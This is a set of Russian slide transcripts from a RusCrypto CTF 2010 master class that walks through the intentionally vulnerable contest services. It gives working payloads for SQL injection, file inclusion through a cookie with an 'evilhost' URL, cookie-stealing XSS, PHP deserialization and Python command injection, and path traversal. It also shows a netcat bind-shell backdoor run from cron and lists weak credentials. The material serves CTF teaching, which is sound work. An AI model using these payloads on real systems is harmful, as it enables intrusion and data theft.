🗊РусКрипто CTF 2010, Full Disclosure (мастер класс)

Категория: Образование
Нажмите для полного просмотра!
РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №1РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №2РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №3РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №4РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №5РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №6РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №7РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №8РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №9РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №10РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №11РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №12РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №13РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №14РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №15РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №16РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №17РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №18РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №19РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №20РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №21РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №22РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №23РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №24РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №25РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №26РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №27РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №28РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №29РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №30РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №31РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №32РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №33РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №34РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №35РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №36РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №37РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №38РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №39РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №40РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №41РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №42РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №43РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №44РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №45РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №46РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №47РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №48РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №49РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №50РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №51РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №52РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №53РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №54РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №55РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №56РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №57РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №58РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №59РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №60РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №61РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №62РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №63РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №64РусКрипто CTF 2010, Full Disclosure       (мастер класс), слайд №65

Содержание

Вы можете ознакомиться и скачать РусКрипто CTF 2010, Full Disclosure (мастер класс). Презентация содержит 65 слайдов. Презентации для любого класса можно скачать бесплатно. Если материал и наш сайт презентаций Вам понравились – поделитесь им с друзьями с помощью социальных кнопок и добавьте в закладки в своем браузере.

Слайды и текст этой презентации


Слайд 1






РусКрипто CTF 2010, Full Disclosure




(мастер класс)
Описание слайда:
РусКрипто CTF 2010, Full Disclosure (мастер класс)

Слайд 2





План мероприятия

Подробности подготовки и проведения CTF
Заложенные уязвимости, пути их обнаружения и эксплуатации
Практические занятия
Хронология событий
Описание слайда:
План мероприятия Подробности подготовки и проведения CTF Заложенные уязвимости, пути их обнаружения и эксплуатации Практические занятия Хронология событий

Слайд 3





Подробности подготовки и проведения CTF
Описание слайда:
Подробности подготовки и проведения CTF

Слайд 4





РусКрипто CTF 2010
РусКрипто CTF — это открытые соревнования по защите информации, проводимые по принципам игры Capture The Flag (захват флага).
РусКрипто CTF — это не классический CTF!

Для захвата флагов в РусКрипто CTF необходимо воспользоваться реальными уязвимостями в самых настоящих (продуктивных) системах.
Расположение большинства флагов заранее известно. 
В основу легенды соревнования РусКрипто CTF 2010 легло повествование «Лавина» Нила Стивенсона.
Описание слайда:
РусКрипто CTF 2010 РусКрипто CTF — это открытые соревнования по защите информации, проводимые по принципам игры Capture The Flag (захват флага). РусКрипто CTF — это не классический CTF! Для захвата флагов в РусКрипто CTF необходимо воспользоваться реальными уязвимостями в самых настоящих (продуктивных) системах. Расположение большинства флагов заранее известно. В основу легенды соревнования РусКрипто CTF 2010 легло повествование «Лавина» Нила Стивенсона.

Слайд 5





РусКрипто CTF 2010: Дизайн игровой сети
Описание слайда:
РусКрипто CTF 2010: Дизайн игровой сети

Слайд 6





РусКрипто CTF 2010: Как все было устроено «изнутри»
Инфраструктуры команд работали на двух серверах:
Fortice A133 (SR1500AL, XEON 5345x2, DDR2 FB DIMM 667MHz 2Gbx4, SEAGATE ST3450802SS)
Fortice A234 (SR2600UR, XEON 5550x2, DDR3 DIMM 1333MHz 1Gbx6, SEAGATE ST3450802SSx2 RAID SAS 0)
	Инфраструктуры команд функционировали под управлением VMWare ESX в виртуальной среде
В качестве основного коммутатора использовался:
Cisco Catalyst 3560 (WS-C3560-48TS)
	Сеть разделялась с помощью Virtual Local Area Network (Virtual LAN) IEEE 802.1Q, настройки коммутатора соответствовали максимальному уровню защищенности
Для организации игрового Wi-Fi-пространства применялось следующее оборудование:
Cisco WLS (WLC2106-K9), Access Point AIR-LAP1242AG-A-K9
Игрокам было предоставлено коммуникационное оборудование «из коробки» на базе CISCO IOS.
Описание слайда:
РусКрипто CTF 2010: Как все было устроено «изнутри» Инфраструктуры команд работали на двух серверах: Fortice A133 (SR1500AL, XEON 5345x2, DDR2 FB DIMM 667MHz 2Gbx4, SEAGATE ST3450802SS) Fortice A234 (SR2600UR, XEON 5550x2, DDR3 DIMM 1333MHz 1Gbx6, SEAGATE ST3450802SSx2 RAID SAS 0) Инфраструктуры команд функционировали под управлением VMWare ESX в виртуальной среде В качестве основного коммутатора использовался: Cisco Catalyst 3560 (WS-C3560-48TS) Сеть разделялась с помощью Virtual Local Area Network (Virtual LAN) IEEE 802.1Q, настройки коммутатора соответствовали максимальному уровню защищенности Для организации игрового Wi-Fi-пространства применялось следующее оборудование: Cisco WLS (WLC2106-K9), Access Point AIR-LAP1242AG-A-K9 Игрокам было предоставлено коммуникационное оборудование «из коробки» на базе CISCO IOS.

Слайд 7





РусКрипто CTF 2010: Распределение игровой инфраструктуры
Описание слайда:
РусКрипто CTF 2010: Распределение игровой инфраструктуры

Слайд 8





РусКрипто CTF 2010: Топология игровой сети
Описание слайда:
РусКрипто CTF 2010: Топология игровой сети

Слайд 9





РусКрипто CTF 2010: Как все было устроено «изнутри»
Использовалось следующее программное обеспечение:
VMWare ESX 4.x с разделением виртуальных сетевых адаптеров по соответствующим идентификаторам сетей (VLAN ID).
ОС FreeBSD 8.0-RELEASE-p2, в которой  игроки обладали доступом только к среде JAIL (полностью контролируемая среда).
   Примечание: «игровой» коммутатор Cisco был запущен под управлением Dynamips.
ОС Microsoft Windows 2003 (Trial), в которой были запущены инструменты Radmin (Trial),  SMS-вирус и n00bkit (rootkit).
ОС Microsoft Windows 98.
CMS 1C-Битрикс в качестве платформы взаимодействия жюри и игроков,  отображения результатов соревнования, а также в качестве «бонусного» задания в контексте соревнования CTF.
Nagios для мониторинга доступности всех систем.
Собственные сценарии для отслеживания корректного функционирования разработанных сервисов и их обновления.
Все ПО, обеспечивающее функционирование CTF, было обновлено до последних версий на день проведения соревнования.
Для обеспечения безопасности «скелета» CTF использовался принцип эшелонированной защиты во всех компонентах сети.
Описание слайда:
РусКрипто CTF 2010: Как все было устроено «изнутри» Использовалось следующее программное обеспечение: VMWare ESX 4.x с разделением виртуальных сетевых адаптеров по соответствующим идентификаторам сетей (VLAN ID). ОС FreeBSD 8.0-RELEASE-p2, в которой игроки обладали доступом только к среде JAIL (полностью контролируемая среда). Примечание: «игровой» коммутатор Cisco был запущен под управлением Dynamips. ОС Microsoft Windows 2003 (Trial), в которой были запущены инструменты Radmin (Trial), SMS-вирус и n00bkit (rootkit). ОС Microsoft Windows 98. CMS 1C-Битрикс в качестве платформы взаимодействия жюри и игроков, отображения результатов соревнования, а также в качестве «бонусного» задания в контексте соревнования CTF. Nagios для мониторинга доступности всех систем. Собственные сценарии для отслеживания корректного функционирования разработанных сервисов и их обновления. Все ПО, обеспечивающее функционирование CTF, было обновлено до последних версий на день проведения соревнования. Для обеспечения безопасности «скелета» CTF использовался принцип эшелонированной защиты во всех компонентах сети.

Слайд 10





РусКрипто CTF 2010: еще разок поблагодарим спонсоров
Описание слайда:
РусКрипто CTF 2010: еще разок поблагодарим спонсоров

Слайд 11





Заложенные уязвимости, пути их обнаружения и эксплуатации
Описание слайда:
Заложенные уязвимости, пути их обнаружения и эксплуатации

Слайд 12





РусКрипто CTF 2010
Подготовленные сервисы:
Корпоративный сайт (jail1)
Служба информирования доставщиков (jail2)
Система документооборота (jail3)
Сервис управления датчиками (jail4)
Тестовый сервер (jail5)
Коммутатор Cisco (jail6)
Точка беспроводного доступа
Windows 2003 (ноутбук менеджера)
Windows 98 (компьютер дядюшки Энцо)
Описание слайда:
РусКрипто CTF 2010 Подготовленные сервисы: Корпоративный сайт (jail1) Служба информирования доставщиков (jail2) Система документооборота (jail3) Сервис управления датчиками (jail4) Тестовый сервер (jail5) Коммутатор Cisco (jail6) Точка беспроводного доступа Windows 2003 (ноутбук менеджера) Windows 98 (компьютер дядюшки Энцо)

Слайд 13





РусКрипто CTF 2010: Корпоративный сайт
Описание слайда:
РусКрипто CTF 2010: Корпоративный сайт

Слайд 14





РусКрипто CTF 2010: Корпоративный сайт (st0)
SQL Injection (MySQL 5.x) в Insert (default error based) over Mod_Security
Уязвимый запрос:
…
$query = "INSERT INTO pizza (pizza, time) VALUES (".$_POST['pizza'].",".$_POST['time'].")";
…
Эксплуатация:

POST pizza=1
POST time=(/*!12345select 1 from(select count(*),concat((select mid(load_file('/YOURFLAG.TXT'),451,32)),floor(rand(0)*2))x from pizza group by x)a)*/

ИЛИ

POST pizza=1
POST time=(/*!12345select 1 from(select count(*),concat((select mid(load_file(0x2F594F5552464C41472E545854),451,32)),floor(rand(0)*2))x from pizza group by x)a)*/
Описание слайда:
РусКрипто CTF 2010: Корпоративный сайт (st0) SQL Injection (MySQL 5.x) в Insert (default error based) over Mod_Security Уязвимый запрос: … $query = "INSERT INTO pizza (pizza, time) VALUES (".$_POST['pizza'].",".$_POST['time'].")"; … Эксплуатация: POST pizza=1 POST time=(/*!12345select 1 from(select count(*),concat((select mid(load_file('/YOURFLAG.TXT'),451,32)),floor(rand(0)*2))x from pizza group by x)a)*/ ИЛИ POST pizza=1 POST time=(/*!12345select 1 from(select count(*),concat((select mid(load_file(0x2F594F5552464C41472E545854),451,32)),floor(rand(0)*2))x from pizza group by x)a)*/

Слайд 15





РусКрипто CTF 2010: Корпоративный сайт (st0)
SQL Injection (MySQL 5.x) в Insert (default error based) over Mod_Security
Описание слайда:
РусКрипто CTF 2010: Корпоративный сайт (st0) SQL Injection (MySQL 5.x) в Insert (default error based) over Mod_Security

Слайд 16





РусКрипто CTF 2010: Корпоративный сайт (st0)
Подбор + File Including в cookie (default RFI)
	Прежде чем воспользоваться уязвимостью, необходимо авторизоваться на странице admin.php. Авторизоваться можно несколькими способами:

подобрав пароль к учетной записи admin (по умолчанию «1234567»);
подключившись напрямую к MySQL под учетной записью пользователя www (http://192.168.X.1/config.inc) и создав нового пользователя.
Уязвимый участок кода:
…
include_once($_COOKIE['lang'].'.php');
…
Эксплуатация (правила Mod_Security намеренно были изменены):

LFI: Cookie[lang]=non/../../../../../../YOURFLAG.TXT/.[496]/.
RFI: Cookie[lang]=http://evilhost/s
Описание слайда:
РусКрипто CTF 2010: Корпоративный сайт (st0) Подбор + File Including в cookie (default RFI) Прежде чем воспользоваться уязвимостью, необходимо авторизоваться на странице admin.php. Авторизоваться можно несколькими способами: подобрав пароль к учетной записи admin (по умолчанию «1234567»); подключившись напрямую к MySQL под учетной записью пользователя www (http://192.168.X.1/config.inc) и создав нового пользователя. Уязвимый участок кода: … include_once($_COOKIE['lang'].'.php'); … Эксплуатация (правила Mod_Security намеренно были изменены): LFI: Cookie[lang]=non/../../../../../../YOURFLAG.TXT/.[496]/. RFI: Cookie[lang]=http://evilhost/s

Слайд 17





РусКрипто CTF 2010: Корпоративный сайт (st0)
Подбор + File Including в cookie (default RFI)
Описание слайда:
РусКрипто CTF 2010: Корпоративный сайт (st0) Подбор + File Including в cookie (default RFI)

Слайд 18





РусКрипто CTF 2010: Корпоративный сайт
Подбор (default information leakage) + Cross-Site Scripting 	


Содержимое x.js:

xss=new/**/Image().src='http://192.168.X.X/sniffer.php?data='+document.cookie;
Описание слайда:
РусКрипто CTF 2010: Корпоративный сайт Подбор (default information leakage) + Cross-Site Scripting Содержимое x.js: xss=new/**/Image().src='http://192.168.X.X/sniffer.php?data='+document.cookie;

Слайд 19





РусКрипто CTF 2010: Корпоративный сайт (st1)
Выполнение команд на сервере over unserialize()
Потенциально уязвимый участок кода (login.php):
…
include_once("config.inc");
include_once("functions.php");
    if(isset($_SESSION['captcha_keystring']) && $_SESSION['captcha_keystring'] ==  $_POST['key']){
    $sessid = unserialize(base64_decode($_COOKIE['sessid'])); 
…
Уязвимый участок кода (functions.php):
…
 function __destruct(){echo $this->shutdown;
	if (!empty($this->shutdown)){
			$var = $this->shutdown[0];
			$arg = $this->shutdown[1];
			$var($arg);
…
Еще почитать: «PHP unserialize() _SESSION and Dynamics», Владимир Воронцов (http://oxod.ru/?p=244)
Описание слайда:
РусКрипто CTF 2010: Корпоративный сайт (st1) Выполнение команд на сервере over unserialize() Потенциально уязвимый участок кода (login.php): … include_once("config.inc"); include_once("functions.php"); if(isset($_SESSION['captcha_keystring']) && $_SESSION['captcha_keystring'] == $_POST['key']){ $sessid = unserialize(base64_decode($_COOKIE['sessid'])); … Уязвимый участок кода (functions.php): … function __destruct(){echo $this->shutdown; if (!empty($this->shutdown)){ $var = $this->shutdown[0]; $arg = $this->shutdown[1]; $var($arg); … Еще почитать: «PHP unserialize() _SESSION and Dynamics», Владимир Воронцов (http://oxod.ru/?p=244)

Слайд 20





РусКрипто CTF 2010: Корпоративный сайт (st1)
Выполнение команд на сервере over unserialize()
Эксплуатация:
O:8:"Database":1:{s:8:"shutdown";a:2:{i:0;s:7:"phpinfo";i:1;s:2:"-1";}}
cookie[sessid]=Tzo4OiJEYXRhYmFzZSI6MTp7czo4OiJzaHV0ZG93biI7YToyOntpOjA7czo3OiJwaHBpbmZvIjtpOjE7czoyOiItMSI7fX0NCg==

O:8:"Database":1:{s:8:"shutdown";a:2:{i:0;s:6:"system";i:1;s:2:"ls";}}
cookie[sessid]=Tzo4OiJEYXRhYmFzZSI6MTp7czo4OiJzaHV0ZG93biI7YToyOntpOjA7czo2OiJzeXN0ZW0iO2k6MTtzOjI6ImxzIjt9fQ0KDQo=

O:8:"Database":1:{s:8:"shutdown";a:2:{i:0;s:8:"passthru";i:1;s:17:"cat /YOURFLAG.TXT";}}
cookie[sessid]=Tzo4OiJEYXRhYmFzZSI6MTp7czo4OiJzaHV0ZG93biI7YToyOntpOjA7czo4OiJwYXNzdGhydSI7aToxO3M6MTc6ImNhdCAvWU9VUkZMQUcuVFhUIjt9fQ==
Описание слайда:
РусКрипто CTF 2010: Корпоративный сайт (st1) Выполнение команд на сервере over unserialize() Эксплуатация: O:8:"Database":1:{s:8:"shutdown";a:2:{i:0;s:7:"phpinfo";i:1;s:2:"-1";}} cookie[sessid]=Tzo4OiJEYXRhYmFzZSI6MTp7czo4OiJzaHV0ZG93biI7YToyOntpOjA7czo3OiJwaHBpbmZvIjtpOjE7czoyOiItMSI7fX0NCg== O:8:"Database":1:{s:8:"shutdown";a:2:{i:0;s:6:"system";i:1;s:2:"ls";}} cookie[sessid]=Tzo4OiJEYXRhYmFzZSI6MTp7czo4OiJzaHV0ZG93biI7YToyOntpOjA7czo2OiJzeXN0ZW0iO2k6MTtzOjI6ImxzIjt9fQ0KDQo= O:8:"Database":1:{s:8:"shutdown";a:2:{i:0;s:8:"passthru";i:1;s:17:"cat /YOURFLAG.TXT";}} cookie[sessid]=Tzo4OiJEYXRhYmFzZSI6MTp7czo4OiJzaHV0ZG93biI7YToyOntpOjA7czo4OiJwYXNzdGhydSI7aToxO3M6MTc6ImNhdCAvWU9VUkZMQUcuVFhUIjt9fQ==

Слайд 21





РусКрипто CTF 2010: Корпоративный сайт (st2)
Описание слайда:
РусКрипто CTF 2010: Корпоративный сайт (st2)

Слайд 22





РусКрипто CTF 2010: Корпоративный сайт (st2)
3 back-door over web-shell
Описание слайда:
РусКрипто CTF 2010: Корпоративный сайт (st2) 3 back-door over web-shell

Слайд 23





РусКрипто CTF 2010: Корпоративный сайт
Дополнительные уязвимости
Раскрытие конфиденциальных данных (/config.inc, /test.php, /phpinfo.php)
Раскрытие конфиденциальной информации (display_errors=off, etc)
Подбор (/admin.php, MySQL)
Отсутствие таймаута сессии
Предугадываемое значение идентификатора captcha
Уязвимые (намеренно измененные) правила Mod_security
Недостаточное противодействие автоматизации при заказе пиццы
Интерфейс администрирования не защищен надлежащим образом
Передача конфиденциальных данных по открытому протоколу HTTP
Уязвимые конфигурации ОС/MySQL/Apache/PHP
Описание слайда:
РусКрипто CTF 2010: Корпоративный сайт Дополнительные уязвимости Раскрытие конфиденциальных данных (/config.inc, /test.php, /phpinfo.php) Раскрытие конфиденциальной информации (display_errors=off, etc) Подбор (/admin.php, MySQL) Отсутствие таймаута сессии Предугадываемое значение идентификатора captcha Уязвимые (намеренно измененные) правила Mod_security Недостаточное противодействие автоматизации при заказе пиццы Интерфейс администрирования не защищен надлежащим образом Передача конфиденциальных данных по открытому протоколу HTTP Уязвимые конфигурации ОС/MySQL/Apache/PHP

Слайд 24





Практическое занятие часть 1
http://192.168.0.1/


Обнаружить уязвимость типа «Внедрение операторов SQL».
Воспользоваться уязвимостью «Внедрение операторов SQL» для получения «флага».
Описание слайда:
Практическое занятие часть 1 http://192.168.0.1/ Обнаружить уязвимость типа «Внедрение операторов SQL». Воспользоваться уязвимостью «Внедрение операторов SQL» для получения «флага».

Слайд 25





РусКрипто CTF 2010: Служба информирования доставщиков
Описание слайда:
РусКрипто CTF 2010: Служба информирования доставщиков

Слайд 26





РусКрипто CTF 2010: Служба информирования доставщиков (st0)
Классическая SQL Injection (PostgreSQL)
Уязвимое regexp:
from django.conf.urls.defaults import *
…
(r'^pizza(.*)$', 'ctfproject.ctfpyweb.views.pizza'),
…
Эксплуатация:

/ctfproject/pizza5;select+1,version()
/ctfproject/pizza5;select+1,pg_read_file('YOURFLAG.TXT',0,500) 

ИЛИ

/ctfproject/pizza5%20and%201=2%20union%20select%20null,null,version(),null,null
/ctfproject/pizza5%20and%201=2%20union%20select%20null,null,pg_read_file('YOURFLAG.TXT',0,500),null,null
Описание слайда:
РусКрипто CTF 2010: Служба информирования доставщиков (st0) Классическая SQL Injection (PostgreSQL) Уязвимое regexp: from django.conf.urls.defaults import * … (r'^pizza(.*)$', 'ctfproject.ctfpyweb.views.pizza'), … Эксплуатация: /ctfproject/pizza5;select+1,version() /ctfproject/pizza5;select+1,pg_read_file('YOURFLAG.TXT',0,500) ИЛИ /ctfproject/pizza5%20and%201=2%20union%20select%20null,null,version(),null,null /ctfproject/pizza5%20and%201=2%20union%20select%20null,null,pg_read_file('YOURFLAG.TXT',0,500),null,null

Слайд 27





РусКрипто CTF 2010: Служба информирования доставщиков (st0)
Классическая SQL Injection (PostgreSQL)
Описание слайда:
РусКрипто CTF 2010: Служба информирования доставщиков (st0) Классическая SQL Injection (PostgreSQL)

Слайд 28





РусКрипто CTF 2010: Служба информирования доставщиков (st1)
Выполнение команд на сервере over AJAX
Уязвимый участок кода:
…
if('args' in request.POST):
        args = request.POST['args']
        try:
            retval = subprocess.Popen("uname -%s" % (args), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()[0]
…
Эксплуатация:

<script>
	var params = 'args=i | cat /YOURFLAG.TXT'
	xmlhttp=new XMLHttpRequest();
	xmlhttp.open("POST", "http://192.168.X.2/ctfproject/confdata", false);
	xmlhttp.send(params);
	document.write(xmlhttp.responseText);
</script>
Описание слайда:
РусКрипто CTF 2010: Служба информирования доставщиков (st1) Выполнение команд на сервере over AJAX Уязвимый участок кода: … if('args' in request.POST): args = request.POST['args'] try: retval = subprocess.Popen("uname -%s" % (args), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()[0] … Эксплуатация: <script> var params = 'args=i | cat /YOURFLAG.TXT' xmlhttp=new XMLHttpRequest(); xmlhttp.open("POST", "http://192.168.X.2/ctfproject/confdata", false); xmlhttp.send(params); document.write(xmlhttp.responseText); </script>

Слайд 29





РусКрипто CTF 2010: Служба информирования доставщиков 
Дополнительные уязвимости
XPath Injection
Open Proxy
Подбор (раздел администрирования)
Недостаточное противодействие автоматизации в форме обратной связи
Отсутствие таймаута сессии
Передача конфиденциальных данных по открытому протоколу HTTP
Уязвимые конфигурации ОС/PostgreSQL/Apache/PYTHON
Описание слайда:
РусКрипто CTF 2010: Служба информирования доставщиков Дополнительные уязвимости XPath Injection Open Proxy Подбор (раздел администрирования) Недостаточное противодействие автоматизации в форме обратной связи Отсутствие таймаута сессии Передача конфиденциальных данных по открытому протоколу HTTP Уязвимые конфигурации ОС/PostgreSQL/Apache/PYTHON

Слайд 30





РусКрипто CTF 2010: Система документооборота
Описание слайда:
РусКрипто CTF 2010: Система документооборота

Слайд 31





РусКрипто CTF 2010: Система документооборота
Выход за пределы каталога (path traversal) 
Фрагмент уязвимого кода:
...
if (ptr[strlen(ptr) - 1] == '/') 
	strcat(ptr, "index.html");     
strcpy(resource, WEBROOT);     
strcat(resource, ptr);         
fd = open(resource, O_RDONLY, 0);
...
Эксплуатация:

GET /../../YOURFLAG.TXT HTTP/1.1
Описание слайда:
РусКрипто CTF 2010: Система документооборота Выход за пределы каталога (path traversal) Фрагмент уязвимого кода: ... if (ptr[strlen(ptr) - 1] == '/') strcat(ptr, "index.html"); strcpy(resource, WEBROOT); strcat(resource, ptr); fd = open(resource, O_RDONLY, 0); ... Эксплуатация: GET /../../YOURFLAG.TXT HTTP/1.1

Слайд 32





РусКрипто CTF 2010: Система документооборота
«Бонусный флаг»
				 61h,62h,63h...-> a,b,c...
Описание слайда:
РусКрипто CTF 2010: Система документооборота «Бонусный флаг» 61h,62h,63h...-> a,b,c...

Слайд 33





РусКрипто CTF 2010: Система документооборота
Переполнение буфера (buffer overflow)
Фрагмент уязвимого кода:
...
char tmp[8192];
tmp[0]=1;
...
while(1) {
tmp[1]=tmp[0]++;
...
void handle_connection(int sockfd, struct sockaddr_
in *client_addr_ptr) {
   unsigned char *ptr, resource[500], request[8192];
   int htr, fd, length;
   length = recv_line(sockfd, request);
...

«Hacking: The Art of Exploitation», Jon Erickson
Описание слайда:
РусКрипто CTF 2010: Система документооборота Переполнение буфера (buffer overflow) Фрагмент уязвимого кода: ... char tmp[8192]; tmp[0]=1; ... while(1) { tmp[1]=tmp[0]++; ... void handle_connection(int sockfd, struct sockaddr_ in *client_addr_ptr) { unsigned char *ptr, resource[500], request[8192]; int htr, fd, length; length = recv_line(sockfd, request); ... «Hacking: The Art of Exploitation», Jon Erickson

Слайд 34





РусКрипто CTF 2010: Система документооборота
Переполнение буфера (buffer overflow)
Описание слайда:
РусКрипто CTF 2010: Система документооборота Переполнение буфера (buffer overflow)

Слайд 35





РусКрипто CTF 2010: Система документооборота
Дополнительные уязвимости
Процесс работает под привилегированной учетной записью (uid0)
Подбор и недостаточная аутентификация (используется javascript)
Уязвимые конфигурации ОС
Описание слайда:
РусКрипто CTF 2010: Система документооборота Дополнительные уязвимости Процесс работает под привилегированной учетной записью (uid0) Подбор и недостаточная аутентификация (используется javascript) Уязвимые конфигурации ОС

Слайд 36





РусКрипто CTF 2010: Сервис управления датчиками
Описание слайда:
РусКрипто CTF 2010: Сервис управления датчиками

Слайд 37





РусКрипто CTF 2010: Сервис управления датчиками
Получение пароля к сервису
Описание слайда:
РусКрипто CTF 2010: Сервис управления датчиками Получение пароля к сервису

Слайд 38





РусКрипто CTF 2010: Сервис управления датчиками
Однобайтовое переполнение
Фрагмент уязвимого кода:
...
char cmd[50]; //was 4096
...
nb = anetRead(cli->fd, cmd, 140);
...
else if (strcmp(cmd, "SHELL") == 0 && loc_shl != 0) {
// execute shell command
...
Эксплуатация:

OK CosaNostra Owen Control 1.0.23
AAA[126]AAA
-ERR
shell cat /YOURFLAG.TXT
Описание слайда:
РусКрипто CTF 2010: Сервис управления датчиками Однобайтовое переполнение Фрагмент уязвимого кода: ... char cmd[50]; //was 4096 ... nb = anetRead(cli->fd, cmd, 140); ... else if (strcmp(cmd, "SHELL") == 0 && loc_shl != 0) { // execute shell command ... Эксплуатация: OK CosaNostra Owen Control 1.0.23 AAA[126]AAA -ERR shell cat /YOURFLAG.TXT

Слайд 39





РусКрипто CTF 2010: Сервис управления датчиками
«Бонусный флаг»
Описание слайда:
РусКрипто CTF 2010: Сервис управления датчиками «Бонусный флаг»

Слайд 40





РусКрипто CTF 2010: Сервис управления датчиками
Дополнительные уязвимости
Процесс работает под привилегированной учетной записью (uid0)
Не используется криптографическая защита
Подбор
Уязвимые конфигурации ОС
Описание слайда:
РусКрипто CTF 2010: Сервис управления датчиками Дополнительные уязвимости Процесс работает под привилегированной учетной записью (uid0) Не используется криптографическая защита Подбор Уязвимые конфигурации ОС

Слайд 41





Задания для самостоятельного выполнения
В раздаточном материале содержится:
Исходный код «Системы документооборота»
Исходный код «Сервиса управления датчиками»
Описание слайда:
Задания для самостоятельного выполнения В раздаточном материале содержится: Исходный код «Системы документооборота» Исходный код «Сервиса управления датчиками»

Слайд 42





РусКрипто CTF 2010: Тестовый сервер
Описание слайда:
РусКрипто CTF 2010: Тестовый сервер

Слайд 43





РусКрипто CTF 2010: Тестовый сервер
Подбор (множество интерфейсов) 
Доступные протоколы:
login/shell/telnet/ssh,  
mysql, 
ftp (доступ к корневому каталогу веб-сервера)
Учетные записи со слабыми паролями:

toor:root
andrey:andrey
www1:password
alla:misha
olga:4321
sergey:qwerty1
Описание слайда:
РусКрипто CTF 2010: Тестовый сервер Подбор (множество интерфейсов) Доступные протоколы: login/shell/telnet/ssh, mysql, ftp (доступ к корневому каталогу веб-сервера) Учетные записи со слабыми паролями: toor:root andrey:andrey www1:password alla:misha olga:4321 sergey:qwerty1

Слайд 44





РусКрипто CTF 2010: Тестовый сервер
SQL Injection/File Including/XSS
/bitrix/admin/index.php -> admin:123456
Описание слайда:
РусКрипто CTF 2010: Тестовый сервер SQL Injection/File Including/XSS /bitrix/admin/index.php -> admin:123456

Слайд 45





РусКрипто CTF 2010: Тестовый сервер
Back-door (выполнение команд на сервере)

[~] cat /etc/crontab
...
*/5     *       *       *       *       root    /usr/libexec/atrun
...
[~] file /usr/libexec/atrun
/usr/libexec/atrun: POSIX shell script text executable
[~] cat /usr/libexec/atrun
#!/bin/sh
if [ `ps -ax|grep 31337|wc -l` -lt 2 ]; then /usr/bin/nc -l -w 10 -u 31337|/bin/sh|nc -w 10 -l 31337; fi
Описание слайда:
РусКрипто CTF 2010: Тестовый сервер Back-door (выполнение команд на сервере) [~] cat /etc/crontab ... */5 * * * * root /usr/libexec/atrun ... [~] file /usr/libexec/atrun /usr/libexec/atrun: POSIX shell script text executable [~] cat /usr/libexec/atrun #!/bin/sh if [ `ps -ax|grep 31337|wc -l` -lt 2 ]; then /usr/bin/nc -l -w 10 -u 31337|/bin/sh|nc -w 10 -l 31337; fi

Слайд 46





РусКрипто CTF 2010: Тестовый сервер
Дополнительные уязвимости
Раскрытие конфиденциальной информации (display_errors=off)
Подбор (/bitrix/admin/, etc)
…
Описание слайда:
РусКрипто CTF 2010: Тестовый сервер Дополнительные уязвимости Раскрытие конфиденциальной информации (display_errors=off) Подбор (/bitrix/admin/, etc) …

Слайд 47





РусКрипто CTF 2010: Точка беспроводного доступа



Даже с отключенными настройками безопасности (включая IPS) оборудование Cisco Wireless LAN Controller 2100 (AP Cisco 1240) способно успешно противодействовать атаке на протокол WEP без легитимного трафика пользователей.
